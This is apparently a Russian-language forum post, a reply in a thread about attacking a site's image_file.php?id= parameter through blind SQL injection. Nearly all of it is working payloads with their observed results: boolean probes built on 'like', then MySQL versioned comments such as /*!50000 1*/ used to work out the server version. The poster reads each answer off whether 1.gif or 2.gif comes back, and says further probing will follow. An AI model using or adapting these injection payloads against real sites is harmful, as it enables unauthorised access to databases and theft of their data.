To XAMEHA
Огромное спасибо, кое что прояснилось...
Сообщение от
None
Что будет выдаваться при подставлении строковых величин, значение которых в базе нет, например sdasd4242?
2.gif (возможно это по-умолчанию или выводится когда есть ошибка или 1=0)
Сообщение от
None
В места знака равентства можно использовать опреатор like или regexp.
Попробовал, вот что получилось
image_file.php?id=(2-1)+and+1+like+1
Выдает 1.gif
image_file.php?id=(2-1)+and+1+like+0
выдает 2.gif (возможно это по-умолчанию или выводится когда есть ошибка или 1=0)
Исследуем далее....
Сработала и такая конструкция
image_file.php?id=1+and+1+like+/*!50000 1*/
показывает 1.gif
image_file.php?id=1+and+1+like+/*!60000 1*/
и
image_file.php?id=1+and+1+like+/*!50000 0*/
показывает 2.gif